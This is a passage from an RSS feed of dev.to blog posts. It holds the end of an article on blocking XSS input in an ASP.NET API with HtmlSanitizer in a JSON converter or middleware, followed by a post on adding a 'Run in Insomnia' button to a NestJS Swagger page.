&lt;p&gt;One (albeit naieve) approach for sanitising the content either coming in or going out of the API is to use a custom JSON converter. To achieve this, first create a new class (eg: &lt;code&gt;AntiXssConverter&lt;/code&gt;) with the following content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   public class AntiXssConverter : JsonConverter&amp;lt;string&amp;gt;
    {
        public override string? Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options)
        {
            var sanitiser = new HtmlSanitizer();
            var raw = reader.GetString();
            var sanitised = sanitiser.Sanitize(raw);

            if (raw == sanitised)
                return sanitised;

            throw new BadRequestException("XSS injection detected.");
        }

        public override void Write(Utf8JsonWriter writer, string value, JsonSerializerOptions options)
        {
            writer.WriteStringValue(value);
        }
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that this converter is based on the &lt;code&gt;System.Text.Json&lt;/code&gt; serialiser that ships by default with .NET Core 3.1 and above. If you’re using the &lt;code&gt;Newtonsoft.Json&lt;/code&gt; converter, the principle will still be the same, but the implementation will likely differ slightly.&lt;/p&gt;

&lt;p&gt;Essentially what we’re doing here is providing a strategy for reading string values whenever a JSON string is deserialised (eg: during model binding) and writing string values when an object is serialised (eg: when a controller returns a response). In this particular example, we’re using the &lt;code&gt;HtmlSanitizer&lt;/code&gt; package introduced earlier to sanitise each string, and if the sanitised string differs from the original, we throw a custom &lt;code&gt;BadRequestException&lt;/code&gt;, denying the request with a HTTP 400 (handled by custom exception handling middleware). Another approach we could have taken is to simply sanitise the string and allow the request, or to save the string as-is and sanitise (or encode) it on serialisation in the &lt;code&gt;Write&lt;/code&gt; method.&lt;/p&gt;

&lt;p&gt;In &lt;code&gt;Startup.cs&lt;/code&gt;, we’d need to register the converter in &lt;code&gt;ConfigureServices(...)&lt;/code&gt; like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    services
        .AddControllers()
        .AddJsonOptions(options=&amp;gt; 
        {  
            options.JsonSerializerOptions.Converters.Add(new AntiXssConverter());
        });

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This approach works for simple objects, nested objects and collections. However, it does have two fairly serious drawbacks:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;This logic needs to run for every string in the request. If the payload is a large object with many string properties, this could become quite inefficient.&lt;/li&gt;
&lt;li&gt;Our XSS validation / sanitisation is coupled to JSON; if the user were to submit url-encoded content or multipart/form-data content (which could quite realistically be the case if we have endpoints that deal with file uploads), then other parts of our application may still be at risk.&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  ASP.NET Middleware
&lt;/h4&gt;

&lt;p&gt;A more efficient and more versatile approach might be to sanitise and validate the entire request body through a middleware. This has the advantages of:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It only runs once for each request - so it should be significantly faster than using the JSON converter approach.&lt;/li&gt;
&lt;li&gt;It’s not coupled to any particular content type. Regardless of whether the endpoint uses JSON, formdata or any other medium, the request will still be sanitised and validated.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To implement this, create a new class called &lt;code&gt;AntiXssMiddleware&lt;/code&gt; with the following content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    public class AntiXssMiddleware
    {
        private readonly RequestDelegate _next;

        public AntiXssMiddleware(RequestDelegate next)
        {
            _next = next;
        }

        public async Task Invoke(HttpContext httpContext)
        {
            // enable buffering so that the request can be read by the model binders next
            httpContext.Request.EnableBuffering(); 

            // leaveOpen: true to leave the stream open after disposing, so it can be read by the model binders
            using (var streamReader = new StreamReader(httpContext.Request.Body, Encoding.UTF8, leaveOpen: true))
            {
                var raw = await streamReader.ReadToEndAsync();
                var sanitiser = new HtmlSanitizer();
                var sanitised = sanitiser.Sanitize(raw);

                if (raw != sanitised)
                {
                    throw new BadRequestException("XSS injection detected from middleware.");
                }
            }

            // rewind the stream for the next middleware
            httpContext.Request.Body.Seek(0, SeekOrigin.Begin);
            await _next.Invoke(httpContext);
        }
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Don’t forget to register it in &lt;code&gt;Startup.cs&lt;/code&gt; under &lt;code&gt;Configure(...)&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    app.UseMiddleware&amp;lt;AntiXssMiddleware&amp;gt;();

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you happen to be using a custom exception handling middleware, this needs to be registered &lt;em&gt;after&lt;/em&gt; that.&lt;/p&gt;

&lt;p&gt;In our middleware, we’ve taken the same approach as in our JSON converter of validating the request and throwing a bad request exception if the validation failed. I’ve found this to be about 50% faster than the JSON converter, even for a contrived example of a single-string model.&lt;/p&gt;

&lt;p&gt;Anyway, this is just one suggestion for how one might (aggressively) protect against XSS in your API. This is of course just a simple example - if you’re building any sort of API that &lt;em&gt;expects&lt;/em&gt; HTML content being passed, such as a CMS, you’ll likely need to configure the &lt;code&gt;HtmlSanitizer&lt;/code&gt; with a whitelist of allowed tags and attributes.&lt;/p&gt;

&lt;p&gt;How do you deal with XSS in your own API? Let me know in the comments!&lt;/p&gt;

&lt;p&gt;Catch ya!&lt;/p&gt;

</description>
      <category>dotnet</category>
      <category>security</category>
      <category>api</category>
    </item>
    <item>
      <title>Creating an Insomnia-First Swagger Page</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Sat, 18 Sep 2021 23:45:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/creating-an-insomnia-first-swagger-page-4na9</link>
      <guid>https://dev.to/jasonsultana/creating-an-insomnia-first-swagger-page-4na9</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;Today I wanted to show you all how to create an Insomnia-First swagger page, so your API can easily be consumed by &lt;a href="https://dev.to/scottw/insomnia-rest-client-578d-temp-slug-9682618"&gt;Insomnia&lt;/a&gt;, all in one go.&lt;/p&gt;

&lt;h4&gt;
  
  
  Hey! I don’t have insomnia!
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--nTrzUbYj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/insomnia.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--nTrzUbYj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/insomnia.jpg" alt="" width="474" height="475"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When you read &lt;em&gt;insomnia&lt;/em&gt; here, I’d forgive you for thinking of sleepless nights or the edgy song from the 90s - but I’m actually talking about Insomnia the REST client. That’s right! Move over Postman, you’ve got some competition!&lt;/p&gt;

&lt;h4&gt;
  
  
  Hold up, what’s wrong with Postman?
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--xol4RXP---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/postman-tabs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xol4RXP---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/postman-tabs.png" alt="" width="800" height="534"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An obsession with tabs? Clunky UX? A slow startup? Don’t get me wrong - I think Postman offers a very robust product that’s a useful tool for the right job. Their test runner in particular is very full-featured, and is probably in the toolbox of every QA / QE. But for us software devs, I think it’s overkill. Insomnia starts faster, is easier to navigate and simpler to use - in my humble opinion.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uqRLhcQP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/insomnia-client.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uqRLhcQP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/insomnia-client.jpg" alt="" width="640" height="334"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  OK - What’s this got to do with Swagger?
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0TLnI1qz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/swagger-run-in-insomnia.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0TLnI1qz--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/swagger-run-in-insomnia.png" alt="" width="800" height="486"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;See this beautiful &lt;em&gt;Run in Insomnia&lt;/em&gt; button? When you hit that, Insomnia will open up and ask you if you want to import the collection, making it super-easy to put together a comprehensive collection of API endpoints. Say goodbye to importing a curl for each endpoint individually.&lt;/p&gt;

&lt;h4&gt;
  
  
  Impressive! How do we add that button?
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--t6Jxy4Bn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/insomnia-run-button.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--t6Jxy4Bn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/insomnia-run-button.png" alt="" width="800" height="922"&gt;&lt;/a&gt;Visit &lt;a href="https://insomnia.rest/create-run-button"&gt;https://insomnia.rest/create-run-button&lt;/a&gt; and enter your API settings. The Import URL will likely depend on your implementation. For dotnet projects, this tends to be a &lt;code&gt;swagger.json&lt;/code&gt; file. Since this particular example is a NestJS project running on express, the swagger schema is available under an &lt;code&gt;api-json&lt;/code&gt; endpoint instead.&lt;/p&gt;

&lt;p&gt;In any case, what you want to do it to take the HTML snippet that the previous page has generated for you and set it as the &lt;code&gt;description&lt;/code&gt; of your swagger spec. How to do this will of course also vary depending on your stack, but in NestJS, a full swagger config sample might look like this (in &lt;code&gt;main.ts&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  const app = await NestFactory.create(AppModule);

  // Swagger setup
  const config = new DocumentBuilder()
    .setTitle('My API')
    .setDescription('My API specification')
    .setVersion('1.0')
    .addTag('app', '')
    .setDescription('&amp;lt;a href="https://insomnia.rest/run/?label=My%20API&amp;amp;uri=http%3A%2F%2Flocalhost%3A3001%2Fapi-json" target="_blank"&amp;gt;&amp;lt;img src="https://insomnia.rest/images/run.svg" alt="Run in Insomnia"&amp;gt;&amp;lt;/a&amp;gt;')
    .build();

  const document = SwaggerModule.createDocument(app, config);
  SwaggerModule.setup('api', app, document);

  await app.listen(3001);

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And because the description is just HTML, you’re of course free to add content before or after the button.&lt;/p&gt;

&lt;h4&gt;
  
  
  The result?
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--o5m0Svpf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/insomnia-imported.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--o5m0Svpf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/insomnia-imported.png" alt="" width="800" height="406"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see here, my endpoint (with a sample body and other variables like the &lt;code&gt;baseUrl&lt;/code&gt;) has been imported, contained within a folder as identified by the &lt;code&gt;tag&lt;/code&gt; in the swagger spec. This probably doesn’t look too impressive with just a single endpoint - but imagine a real application with half a dozen (or more) tags and dozens of endpoints. Being able to import the entire thing into your REST client with the click of a button sure is cool! And to top it all off, it’s not just &lt;em&gt;any&lt;/em&gt; old REST client - it’s Insomnia! 😎&lt;/p&gt;

&lt;p&gt;Anyway, that’s all from me for today. Happy coding!&lt;/p&gt;

&lt;p&gt;Catch ya!&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>node</category>
      <category>api</category>
    </item>
  </channel>
</rss>
